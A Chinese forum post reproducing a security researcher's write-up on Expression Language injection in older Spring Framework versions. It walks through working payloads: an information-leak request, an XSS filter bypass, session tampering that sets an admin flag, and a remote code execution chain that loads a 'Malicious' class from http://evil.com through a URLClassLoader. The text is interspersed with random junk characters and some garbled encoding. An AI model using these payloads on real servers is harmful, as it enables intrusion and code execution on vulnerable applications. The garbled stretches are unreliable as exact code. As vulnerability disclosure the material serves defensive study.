找回密码
 立即注册
查看: 3004|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
5 T7 d; }9 D# yExpression Language Injection; a0 X1 ^( l5 |1 v0 e8 G4 N
Spring Framework脆弱性—DanAmodio
$ a% K  f. t1 h; s5 I& ?/ n+ G+ ?! L全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中( c3 W+ a6 P: a; T" y" v/ t# V
可能会存在风险。& R) L3 m" D0 G+ h
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的( s+ Y( _* H6 E% R
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可( @7 W  P. E( ?
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
1 X/ i  E2 @) S以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
% \  ^6 @1 B) h* B0 A版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
7 a9 T( L% k: c- F由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但! ?7 Y4 ?# h! `& V1 E9 w; Y
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
5 k: k2 x4 h% [5 Z# W0 ^本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。/ d0 D- w3 N$ s* x
这些版本不支持禁用double EL resolution.4 i/ d* Q. i# X& l
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含5 J- Y" E+ R' P9 }  F1 k8 r
EL2.2容器上可能进行远程代码执行。
3 ]/ D/ x" o) z  l; T* n这是一个原始信息泄露的攻击例子:1 E+ Y2 j: C) z7 Q, G) b. m
请求:% `/ f5 o1 ^, v* H
ttp://vulnerable.com/foo?message=${applicationScope}
: F* ~6 v# |; v5 H, A到达以下内容页面:
% \- W1 C7 X) T5 U2 o" C结果将输出一些包含内部服务器信息calsspath 和本地工作目录3 Q3 L4 }+ M8 Q. r
你也可以做一些其他事情,如这样:9 d- d9 p) i. \! N, W
${9999+1}! l& S. h/ |9 x  r
还可以访问session 对象和beans+ T  P& ]9 L% f- e6 q' C% w' T% A
${employee.lastName}
6 M2 z$ P6 C9 o在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是5 {. Z+ e. H0 f) M" V2 x
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东$ h+ t/ b, G* s  p, s
西,比如XSS.8 f$ a6 d& A1 M9 T0 |4 C
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签3 D6 _$ d+ ]' ^/ C3 ]! a) T2 _
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
8 {2 c2 o/ W+ x2 V9 P1 Y4 P呢?”& w/ ?7 f* g7 o( D4 c3 U: P( l
因此,我尝试巳缦拢�+ d" b# l! R. X8 Z/ o1 j  l: f
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
& R0 Y/ i; r. SP
1 m6 B2 g3 T: N9 s2 b我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
7 k" m) d9 a% N3 v* A: {回的文本被插入进了spring:message 标签。
! j/ U, F1 b: G) f# U' x这里是一个最终绕过过滤的实例:
6 T$ Y5 Y, Z) P- j) E# v9 Zhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
5 J! \& l8 P) h; e; Q- X2 k它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为0 j: N- D$ G- i* ]3 g$ r+ R
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?- `& d; l6 R  t7 D$ {9 V
经过一番研究,我学习到EL2.2 增加了方法调用。
/ K% c5 \5 U2 I+ f! q8 @  C; s4 [我写了一个快速测试应用程序代码并且检测一些功能; Z" H2 U0 t. O  q" L% x
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
) G$ G! i  o; L$ ?${pageContext.request.getSession().setAttribute(“admin”,true)}" ^4 f0 `  D% y0 M- Q' A
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
) Y' N1 f# O. X  V0 G指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?7 I: T% v1 Q8 |1 j
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1( G' [) e9 R3 B" |
“, 1234)}
' a( X9 N( @6 N- p0 C$ ^/ N" Z6 Q${“”.getClass().forName(“java.lang.Runtime”)}  F1 ?9 K" j8 V
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不0 S8 t" S' }# o) M( S) |2 ]
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
, v0 n6 o4 _& H- e. g, [; Y$ w数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
3 V( ~5 B$ J+ H. R3 x一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
, }7 S& b% T9 i- m方法签名invoke(Object obj, Object„ args)) G9 x$ k: z& E0 E
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问% Q/ b4 i( s, A" Z2 O" X, n8 F
题,以让它可以工作起来。) N# C8 {0 P  {5 \8 f
漏洞利用:
& m* A3 J6 H, A# [7 r1 k# X我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我6 j4 h% E1 F- J0 t+ T
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
; N9 \6 H- W- E4 ?- @1 y. c3 u# P这里有一些我试过的失败的用例,为了试图让它工作的用例:+ i. f/ O1 A+ F/ b. u; ?- i
 写文件到文件系统6 ?! o! P- Y: l9 C* h7 K9 o
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.: {, N( h. {5 ^; F# X
我认为这些可以很好的工作,但是我不能找到合适的类来载入。5 x2 W' w  d4 j% g8 U5 G" B
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}$ B# i( w& B! ~3 J3 p0 Z5 U! i5 z
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:- i  ~! ~3 C0 u, R
org.springframework.expression.spel.standard.SpelExpressionParser not found3 U! J" a8 w; l5 t
by7 G# k9 T2 ?% y- E2 }
org.glassfish.web.javax.servlet.jsp [194].
; x% [, U; X/ J. F1 n 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
2 J( k- S3 r# v/ ?. j( Y$ | 利用反射来创建一个新的Runtime(and watch the world burn)
  H( D1 Z9 z7 F1 B${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
* O# @' o1 a/ f/ l1 |+ k(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
6 a. ~5 N( s7 K) @3 N) D${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}) @$ ^& l5 A9 m
 使用java.lang.ProcessBuilder
% B/ ], ?. C+ ~& l% J$ c3 t 用表达式语言来评估表达式语言2 R! ~- E5 F- Y0 ^! C* \, L
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
$ H( N* d, [7 m$ R& U${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
- Z* I- \; d" B$ E“,”".getClass(),null)}/ z4 R! g6 R$ U+ G; h- Z, `9 }& B
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)- y/ n6 c' ~- U' _. i6 |) F0 n
我在使用一个空数组通过Method.invoke()时失败了很多次) E) K5 X  h% ?8 @/ W9 F4 w
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
( ?% F9 l6 g" M3 \" k1 r1 p.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A  [. x' F7 t! \  B
rrayList”).newInstance().toArray())* V" ?) V6 M# {6 H: Z
java.lang.IllegalArgumentException: wrong number of arguments
3 G( b( ^& V  I6 {) q& F7 C3 x最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可# Q. t: _2 O6 S. f& e! ~4 A
以创建一个恶意class文件并且指向类装载器.
5 b; T$ g; P" n' Z我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:4 q! W/ t5 _0 K) V* @5 l
public class Malicious {
9 C1 E& b: B' ~2 `1 rpublic Malicious() {
6 m3 f0 |& u; k7 c! stry {$ D5 J7 O6 D* Z1 B
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac/ j; [4 Q, E; P* _
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win, E7 P5 C' {2 H$ s+ y' |6 D  N
} catch (Exception e) {, G! L) ?. }. S; G+ U! v
}
0 X; v4 ^9 r, v6 V% ~1 e}
: x; c; B% p  [我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
* y* ?- x7 f  q6 [; L: j话中,因此它可以被使用.
- ^& {5 v/ ]- {" l* e${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
+ b7 j( @2 \* I  E8 v, {(“java.util.ArrayList”).newInstance())}
2 ?3 M* |; l$ a2 X" rURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建; t' a  l8 R* h' |
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和: W: ]( l3 H, J5 b, g( d
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个+ [% {% D) _  v# V' `2 h9 Z
我们可以调用的create(string)方法,然后转换对一个URL对象。8 T' P" }1 w7 N) m4 N8 g" C
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh# O" r3 e* N' |7 r2 ]
ere/malicious/classfile/is/located/”).toURL())}# F; ~: j5 B/ [# q4 P. Q% Z
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
# P  s+ D5 W8 y* o7 H% C恶意类文件被装载并创建,触发远程代码.
( l7 Z; P2 e- P! Q* A: z' k% L${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
$ S  q* X: u6 h2 ext.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().. L* x4 x0 h: a7 _% g9 i
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance9 A/ V0 p% Z; I, U* E
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表